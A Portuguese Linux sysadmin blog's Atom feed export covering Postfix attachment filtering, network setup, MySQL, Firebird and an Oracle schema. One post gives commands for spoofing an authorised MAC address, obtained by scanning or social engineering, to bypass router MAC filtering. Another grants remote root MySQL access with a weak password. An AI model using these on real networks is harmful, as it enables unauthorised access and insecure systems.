NLS_NUMERIC_CHARACTERS=,.; export NLS_NUMERIC_CHARACTERS&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;Feito isso de um restart no apache&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;service httpd restart&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;Com isso deve resolver o problema.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/2518868414779756447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/2518868414779756447'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2012/02/problema-de-charset-otrs.html' title='Problema de charset OTRS'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-4678059694185450670</id><published>2012-02-16T08:22:00.001-02:00</published><updated>2012-02-16T08:22:30.248-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Substituir palavras no vim</title><content type='html'># vim arquivo.txt&lt;br /&gt;
&lt;br /&gt;
ESC - :%s/PalavraAntiga/PalavraNova/gc</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/4678059694185450670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/4678059694185450670'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2012/02/substituir-palavras-no-vim.html' title='Substituir palavras no vim'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-8044296262382464551</id><published>2012-02-15T17:15:00.000-02:00</published><updated>2012-02-15T17:15:12.741-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Bloquear extensões por anexo no postfix ao enviar mensagem</title><content type='html'>Bloquear extensões por anexo no postfix ao enviar mensagem&lt;br /&gt;
&lt;br /&gt;
no arquivo /etc/postfix/main.cf&lt;br /&gt;
&lt;br /&gt;
header_checks = regexp:/etc/postfix/header_checks&lt;br /&gt;
&lt;br /&gt;
no arquivo &amp;nbsp;/etc/postfix/header_checks&lt;br /&gt;
&lt;br /&gt;
/^\s*Content-(Disposition|Type).*name\s*=\s*&quot;?(.+\.(mpg|mpeg|avi|docx|pdf))&quot;?\s*$/ REJECT Erro de anexo.&lt;br /&gt;
&lt;br /&gt;
Onde mpg|mpeg|avi seria os anexos que querem bloquear.&lt;br /&gt;
&lt;br /&gt;
Bloquear extensões por anexo no postfix ao receber mensagem&lt;br /&gt;
&lt;br /&gt;
Requer que o procmail esteja instalado.&lt;br /&gt;
&lt;br /&gt;
apt-get install procmail ou yum install procmail&lt;br /&gt;
&lt;br /&gt;
Depois disso criar diretório para deixar as mensagem com anexo suspeitos&lt;br /&gt;
&lt;br /&gt;
# mkdir /var/spool/procmail&lt;br /&gt;
&lt;br /&gt;
No arquivo de configuração do postfix&lt;br /&gt;
&lt;br /&gt;
/etc/postfix/main.cf&lt;br /&gt;
&lt;br /&gt;
inserir a linha abaixo&lt;br /&gt;
&lt;br /&gt;
mailbox_command = /usr/bin/procmail&lt;br /&gt;
&lt;br /&gt;
$ echo &quot;mailbox_command = /usr/bin/procmail&quot; &amp;gt;&amp;gt; /etc/postfix/main.cf&lt;br /&gt;
&lt;br /&gt;
Depois criar o arquivo&lt;br /&gt;
&lt;br /&gt;
/etc/procmailrc&lt;br /&gt;
&lt;br /&gt;
touch /etc/procmailrc&lt;br /&gt;
&lt;br /&gt;
no arquivo acima inserir as linhas.&lt;br /&gt;
&lt;br /&gt;
# bloquear anexo&lt;br /&gt;
:0 B&lt;br /&gt;
&amp;nbsp; &amp;nbsp; * $&quot;filename=.\+\..\+\.(pif|com|exe|bat|lnk)&quot;&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp; &amp;nbsp; :0 c&lt;br /&gt;
&amp;nbsp; &amp;nbsp; |(formail -r -i&quot;From:antivirus&quot; -A&quot;X-Loop: antivirus&quot;;\&lt;br /&gt;
&amp;nbsp; &amp;nbsp; cat /etc/virus.msg)|$SENDMAIL -oi -t&lt;br /&gt;
&amp;nbsp; &amp;nbsp; :0&lt;br /&gt;
&amp;nbsp; &amp;nbsp; /var/spool/procmail/${LOGNAME}.virus&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
As mensagem com os anexos serão gravadas em.&lt;br /&gt;
&lt;br /&gt;
/var/spool/procmail&lt;br /&gt;
&lt;br /&gt;
Para deletar diretamente trocar /var/spool/procmail por /dev/null depois de estar em /dev/null não tem como recuperar então é aconselhável deixar em /var/spool/procmail e criar &amp;nbsp;uma regra no crontab para deletar em determinadas períodos.</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/8044296262382464551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/8044296262382464551'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2012/02/bloquear-extensoes-por-anexo-no-postfix.html' title='Bloquear extensões por anexo no postfix ao enviar mensagem'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-6816146731203410158</id><published>2012-02-15T17:11:00.000-02:00</published><updated>2012-02-15T17:11:33.921-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Configurar IP Fixo Ubuntu</title><content type='html'># vim /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet dhcp&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
address 192.168.1.10&lt;br /&gt;
netmask 255.255.255.0&lt;br /&gt;
network 192.168.1.0&lt;br /&gt;
broadcast 192.168.1.255&lt;br /&gt;
gateway 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
vim /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
search virtua.com.br casa.lan&lt;br /&gt;
nameserver 192.168.1.10&lt;br /&gt;
nameserver 201.6.0.112&lt;br /&gt;
nameserver 201.6.0.108&lt;br /&gt;
&lt;br /&gt;
/etc/init.d/networking restart</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/6816146731203410158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/6816146731203410158'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2012/02/configurar-ip-fixo-ubuntu.html' title='Configurar IP Fixo Ubuntu'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-6225879903159772442</id><published>2012-02-14T16:50:00.000-02:00</published><updated>2012-02-14T16:50:44.930-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Liberação de acesso externo para o root no mysql</title><content type='html'>Para fazer a liberação de acesso externo para o root no mysql, siga os passos seguintes.&lt;br /&gt;
&lt;br /&gt;
# mysql -u root -p&lt;br /&gt;
&amp;gt; grant ALL privileges on *.* to &#39;root&#39;@&#39;%&#39; identified by &#39;m1sql.&#39; with grant option;&lt;br /&gt;
&amp;gt; flush privileges;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Crtl-D&lt;br /&gt;
&lt;br /&gt;
Pronto !</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/6225879903159772442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/6225879903159772442'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2012/02/liberacao-de-acesso-externo-para-o-root.html' title='Liberação de acesso externo para o root no mysql'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-813172390601706380</id><published>2012-02-13T14:12:00.000-02:00</published><updated>2012-02-13T14:12:13.891-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Sessões de usuários no linux, Desconectando usuários do SSH</title><content type='html'>Dica rápida.&lt;br /&gt;
&lt;br /&gt;
Para ver as sessoes ativas&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# w&lt;br /&gt;
# ps ax | grep pts/0 ( onde pts/0 ) é a sessão&lt;br /&gt;
&lt;br /&gt;
Assim vai ver os processos sendo executados naquela sessão&amp;nbsp;depois kill -9 na processo que está conectando. Normalmente ssh@... !</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/813172390601706380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/813172390601706380'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2012/02/sessoes-de-usuarios-no-linux.html' title='Sessões de usuários no linux, Desconectando usuários do SSH'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-3193636227950190536</id><published>2011-01-01T20:52:00.000-02:00</published><updated>2011-01-01T20:52:15.209-02:00</updated><title type='text'>Gestão Syscom ( Gerenciamento comercial )</title><content type='html'>Pessoal é com grande prazer é que venho informar aos leitores desse Blog, que nosso sistema de Gestão comercial está pronto.&lt;br /&gt;
Uma versão Beta está sendo instalada para os nossos cliente e com grande êxito está se mostrado extremamente promissora. &lt;br /&gt;
Ainda essa semana, vamos publicar em alguns sites, o site oficial, inclusive aqui.&lt;br /&gt;
Então a partir de agora quem precisar de um sistema de gestão para sua empresa, seja grande ou pequena, para Windows, Linux ou outros. Pode entrar em contato.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Abraço e retorne em breve teremos novidades.</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/3193636227950190536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/3193636227950190536'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2011/01/gestao-syscom-gerenciamento-comercial.html' title='Gestão Syscom ( Gerenciamento comercial )'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-2841390219324900400</id><published>2010-12-12T18:40:00.000-02:00</published><updated>2010-12-12T18:40:37.727-02:00</updated><title type='text'>Introdução e instalação do necessário</title><content type='html'>&lt;div&gt;  &lt;i&gt;Flamerobin&lt;/i&gt; é um sistema aberto para administrar banco de dados usando o servidor &lt;i&gt;Firebird&lt;/i&gt;. &lt;br /&gt;
&lt;br /&gt;
Opinião pessoal: &lt;br /&gt;
&lt;br /&gt;
Há alguns dias precisei criar um bando de dados em Firebird para uma  aplicação, e procurando por um sistema gerenciador de bando de dados  encontrei o Flamerobin. A princípio me pareceu meio estranho, mas acabei  me acostumando e gostando dele pela simplicidade e facilidade. &lt;br /&gt;
&lt;br /&gt;
Antes de usá-lo certamente precisará do servidor Firebird, para isso instale-o com o comando: &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# apt-get install firebird2.0-super&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Se você tentar iniciar o servidor não irá funcionar, pois antes será preciso configurá-lo. Para tal, utilize o comando: &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# dpkg-reconfigure firebird2.0-super&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Algumas perguntas serão feitas, como se deseja que o servidor seja iniciado automaticamente e a senha para o SYSDBA. &lt;br /&gt;
&lt;br /&gt;
Respondidas as peguntas vamos iniciar o servidor. Para isso use o comando: &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# /etc/init.d/firebird2.0-super start&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Depois para instalar o Flamerobin use o comando: &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# apt-get install flamerobin&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Terminada essa primeira parte vamos a utilização básica sistema. &lt;/div&gt;&lt;div&gt;&lt;h1 style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Criando o primeiro banco e primeira tabela&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h1&gt;&lt;h1 style=&quot;font-weight: normal;&quot;&gt;Tela do software:  &lt;/h1&gt;&lt;div class=&quot;figura&quot;&gt; &lt;a href=&quot;http://img.vivaolinux.com.br/imagens/artigos/comunidade/flamerobin.png&quot; target=&quot;_new&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;300&quot; src=&quot;http://img.vivaolinux.com.br/imagens/artigos/comunidade/thumb_flamerobin.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Criando um bando de dados: &lt;br /&gt;
&lt;br /&gt;
Use o usuário &quot;root&quot; no terminal para abrir o Flamerobin. &lt;br /&gt;
&lt;br /&gt;
Utilize o menu &quot;Database -&amp;gt; Create new database&quot;. Display name é o nome do banco de dados. Exemplo:  &lt;br /&gt;
&lt;br /&gt;
banco1&lt;br /&gt;
O database patch é a localização do banco: &lt;br /&gt;
&lt;br /&gt;
/var/lib/firebird/2.0/system/nomedomeubanco.fdb &lt;br /&gt;
&lt;br /&gt;
Essa tem que ser a localização. &lt;br /&gt;
&lt;br /&gt;
O username é SYSDBA e a senha é a escolhida quando configurou o servidor Firebird. Feito isso clique em CREATE! &lt;br /&gt;
&lt;br /&gt;
Ótimo. Se tudo correu bem, dê um duplo clique no banco de dados que acabou de criar. Será exibida uma tela parecida com essa.  &lt;div class=&quot;figura&quot;&gt; &lt;a href=&quot;http://img.vivaolinux.com.br/imagens/artigos/comunidade/bancocriado.png&quot; target=&quot;_new&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;300&quot; src=&quot;http://img.vivaolinux.com.br/imagens/artigos/comunidade/thumb_bancocriado.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Agora vamos à criação do nosso primeiro banco de dados utilizando o &lt;i&gt;Flamerobin&lt;/i&gt;. Clique com o botão direito em &quot;TABLES -&amp;gt; CREATE NEW&quot;. Será aberta uma área para digitar o cogido em SQL. Exemplo: &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;codigo&quot;&gt; CREATE TABLE cadastro&lt;br /&gt;
(&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cod_cad integer not null,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nome_cad varchar(50),&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nasc_cad date,&lt;br /&gt;
PRIMARY KEY (cod_cad)&lt;br /&gt;
); &lt;/div&gt;&lt;div class=&quot;figura&quot;&gt; &lt;a href=&quot;http://img.vivaolinux.com.br/imagens/artigos/comunidade/criandobanconoflamerobin.png&quot; target=&quot;_new&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;300&quot; src=&quot;http://img.vivaolinux.com.br/imagens/artigos/comunidade/thumb_criandobanconoflamerobin.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Após isso é só apertar F4 e, se estiver tudo certo, F4 novamente para salvar as alterações!  &lt;div class=&quot;figura&quot;&gt; &lt;a href=&quot;http://img.vivaolinux.com.br/imagens/artigos/comunidade/pronto.png&quot; target=&quot;_new&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;300&quot; src=&quot;http://img.vivaolinux.com.br/imagens/artigos/comunidade/thumb_pronto.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Pronto! Banco de dados criado. &lt;br /&gt;
&lt;br /&gt;
Apesar desse artigo ser na verdade um passo-a-passo para usuários que  chegaram do Windows e estavam acostumados com outros SGBD, espero que  gostem e que seja de utilidade. &lt;br /&gt;
&lt;br /&gt;
Abração galera.  &lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/2841390219324900400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/2841390219324900400'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/12/introducao-e-instalacao-do-necessario.html' title='Introdução e instalação do necessário'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-2610470999477726916</id><published>2010-11-02T22:21:00.001-02:00</published><updated>2010-11-02T22:21:46.778-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Segurança"/><title type='text'>Solução para conectar em roteador com controle por MAC ADRESS</title><content type='html'>Pra que precisa de conectar em um roteador com controle por MAC ADRESS e usa Linux é claro, vou propor uma solução aqui.&lt;br /&gt;
&lt;br /&gt;
Passem um Scanner ( Nmap é claro ) em todas as faixas de IP que você esta conectado por cabo por exemplo.&lt;br /&gt;
&lt;br /&gt;
Feito isso você vai ter que identificar algum MAC ADRESS que conecte naquele roteador com controle, se virem usem engenharia social vou qualquer outro método, mas obtenho o MAC.&lt;br /&gt;
Feito isso é moleza.&lt;br /&gt;
&lt;br /&gt;
No Linux como Root ( su ) faça o seguinte.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;ifconfig wlan0 down&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt; ifconfig wlan0 hw ether 00:00:00:00:00:00&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Onde&amp;nbsp; 00:00:00:00:00:00 deve ser substituído pelo MAC encontrado, bom... com isso sua placa de rede agora é a placa de rede do PC autorizado.&lt;br /&gt;
Agora é só conectar não quiser sofrer não leia isso &lt;a href=&quot;http://www.mahapra.com.br/mpmain/conteudo/lenny/wifi-config/configwifi.php&quot;&gt;Configurando uma conexão Wireless &lt;/a&gt;ou você pode simplesmente usar os assistentes do gnome, kde ou xfce.&lt;br /&gt;
Bom galera é isso.&lt;br /&gt;
Não coloquem essas coisas em pratica é feio e não cometam a geniosidade de pegar o MAC do Roteador muito menos usar uns sniffer com o MAC do roteador, não vai ser ser legal.&lt;br /&gt;
Vou fazer umas postagem com foco em segurança ou falta dela. :D&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Abração garela.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/2610470999477726916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/2610470999477726916'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/11/solucao-para-conectar-em-roteador-com.html' title='Solução para conectar em roteador com controle por MAC ADRESS'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-5192285307763990620</id><published>2010-11-02T21:56:00.001-02:00</published><updated>2012-02-13T14:16:48.590-02:00</updated><title type='text'>Falta de atualizações</title><content type='html'>&lt;b&gt;Pessoal.... boa noite.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Pra quem acompanha o Blog ou caiu de uma pesquisa do Google aqui&amp;nbsp; (rsrsrs ), eu estava com problemas de tempo mas já dei um resolvida nisso, comprei uns livros pra alimentar meu cérebro com algo de útil e é isso.&lt;br /&gt;
Em breve vou fazer muitas postagens por aqui.&lt;br /&gt;
&lt;br /&gt;
Espero que compreendam e se tiverem sugestões de novas dicas mande pra mim.&lt;br /&gt;
&lt;br /&gt;
Abraço galera.</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/5192285307763990620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/5192285307763990620'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/11/falta-de-atualizacoes.html' title='Falta de atualizações'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-834110299540499268</id><published>2010-08-07T16:22:00.000-03:00</published><updated>2010-08-07T16:22:09.361-03:00</updated><title type='text'>Imagens no banco de dados.</title><content type='html'>Pessoal, recentemente eu escrevi um artigo para um site de assuntos técnicos, o qual gostaria de compartilhar com vocês.&lt;br /&gt;
O Artigo possui 6 páginas e está bastante didático, as páginas são.&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Introdução&lt;/li&gt;
&lt;li&gt;Criando a classe de conexão&lt;/li&gt;
&lt;li&gt;Gravando os registro (formulário de inserção)&lt;/li&gt;
&lt;li&gt;Fazendo buscas - parte 1&lt;/li&gt;
&lt;li&gt;Fazendo buscas - parte 2&lt;/li&gt;
&lt;li&gt;Conclusão&lt;/li&gt;
&lt;/ol&gt;Bom pra quem se interessar segue o link para acessar.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://vivaolinux.com.br/artigo/Imagens-e-audio-no-banco-de-dados-Oracle/&quot;&gt;&amp;nbsp;http://vivaolinux.com.br/artigo/Imagens-e-audio-no-banco-de-dados-Oracle/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Espero que seja útil.</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/834110299540499268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/834110299540499268'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/08/imagens-no-banco-de-dados.html' title='Imagens no banco de dados.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-2510508181142506210</id><published>2010-06-17T00:09:00.000-03:00</published><updated>2010-06-17T00:09:20.338-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Programação"/><title type='text'>Áudio e Imagens no banco de dados</title><content type='html'>Desenvolvemos um trabalho, consistia em através de um diagrama,que&amp;nbsp; fosse criado um banco de dados utilizando o Oracle 10 g XE. O NetBeans 6.8 foi a IDE  utilizada para o desenvolvimento.&lt;br /&gt;
Também houve necessidade de utilizar algumas bibliotecas assim também como o drive Oracle para Java.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://docs.google.com/leaf?id=0BwMc3DySb_ezNjIyODgzMjYtNzg2NC00MTNlLTkwMWEtYmI3ODZlNDQ1MjMw&amp;amp;hl=pt_BR&quot;&gt;Baixe aqui as dependências&amp;nbsp; &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
O Projeto não está terminado mas já realiza as principais operações necessárias.&lt;br /&gt;
&lt;br /&gt;
O Script SQL de criação do banco é esse.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #666666;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;create type Funcao as OBJECT(&lt;br /&gt;
&amp;nbsp; id number(4),&lt;br /&gt;
&amp;nbsp; titulo varchar2(30),&lt;br /&gt;
&amp;nbsp; descricao varchar2(50)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
create type Imagem as OBJECT(&lt;br /&gt;
&amp;nbsp; imagem blob,&lt;br /&gt;
&amp;nbsp; formato char(5),&lt;br /&gt;
&amp;nbsp; nome varchar2(50),&lt;br /&gt;
&amp;nbsp; desc_imagem varchar2(50)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
create type Voz as OBJECT(&lt;br /&gt;
&amp;nbsp; id number(4),&lt;br /&gt;
&amp;nbsp; audio blob,&lt;br /&gt;
&amp;nbsp; frase varchar2(30)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
create type Foto as OBJECT(&lt;br /&gt;
&amp;nbsp; numero number(4),&lt;br /&gt;
&amp;nbsp; data date,&lt;br /&gt;
&amp;nbsp; IMG Imagem&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
create type Polegar as OBJECT(&lt;br /&gt;
&amp;nbsp; numero number(4),&lt;br /&gt;
&amp;nbsp; dedo blob,&lt;br /&gt;
&amp;nbsp; IMG Imagem&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
create type Cientista as OBJECT(&lt;br /&gt;
&amp;nbsp; nome varchar2(50),&lt;br /&gt;
&amp;nbsp; email varchar2(128),&lt;br /&gt;
&amp;nbsp; IPOLEGAR Polegar,&lt;br /&gt;
&amp;nbsp; IFOTO Foto,&lt;br /&gt;
&amp;nbsp; IVOZ Voz&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
create type Cientista as OBJECT(&lt;br /&gt;
&amp;nbsp; nome varchar2(50),&lt;br /&gt;
&amp;nbsp; email varchar2(128),&lt;br /&gt;
&amp;nbsp; IPOLEGAR Polegar,&lt;br /&gt;
&amp;nbsp; IFOTO Foto,&lt;br /&gt;
&amp;nbsp; Ivoz Voz&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
create type Experimento as OBJECT(&lt;br /&gt;
&amp;nbsp; id number(4),&lt;br /&gt;
&amp;nbsp; titulo varchar2(50),&lt;br /&gt;
&amp;nbsp; inicio date,&lt;br /&gt;
&amp;nbsp; cientista_resp ref Cientista&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
create type Relatorio as OBJECT(&lt;br /&gt;
&amp;nbsp; ordem number(4),&lt;br /&gt;
&amp;nbsp; data date,&lt;br /&gt;
&amp;nbsp; texto varchar2(128),&lt;br /&gt;
&amp;nbsp; IMG Imagem&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
create type Realizacao as OBJECT(&lt;br /&gt;
&amp;nbsp; inicio date,&lt;br /&gt;
&amp;nbsp; termino date,&lt;br /&gt;
&amp;nbsp; REL ref Relatorio,&lt;br /&gt;
&amp;nbsp; IFUNC ref Funcao,&lt;br /&gt;
&amp;nbsp; Icientistas Cientista,&lt;br /&gt;
&amp;nbsp; Iexperimentos Experimento,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bolsa FLOAT&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
create type Atividade as OBJECT(&lt;br /&gt;
&amp;nbsp; sigla varchar2(5),&lt;br /&gt;
&amp;nbsp; nome varchar2(30),&lt;br /&gt;
&amp;nbsp; Irealizacao ref Realizacao&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
create table cientistas of Cientista;&lt;br /&gt;
create table experimentos of Experimento;&lt;br /&gt;
create table relatorios of Relatorio;&lt;br /&gt;
create table realizacoes of Realizacao;&lt;br /&gt;
create table funcoes of Funcao;&lt;br /&gt;
create table imagens of Imagem;&lt;br /&gt;
create table atividades of Atividade;&lt;br /&gt;
create table polegares of Polegar;&lt;br /&gt;
create table fotos of Foto;&lt;br /&gt;
create table vozes of Voz;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Criado esses tipos e tabelas e adicionando as dependências do projeto ele deve ser executado normalmente.&lt;br /&gt;
&lt;br /&gt;
Em alguns servlets é necessários adiciona-lo no XML do projeto, pois não foi feito automaticamente, deverá dar erro em duas linhas&amp;nbsp; a primeira nas bibliotecas e a segunda na primeira linha do servlet podem remover as duas.&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&lt;a href=&quot;https://docs.google.com/leaf?id=0BwMc3DySb_ezOWU3ZWZhZTQtZDAwMi00YmQ1LWJkYTgtOWZhMmQ3NmU5NzNl&amp;amp;hl=pt_BR&quot;&gt;Para baixar o projeto clique aqui.&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
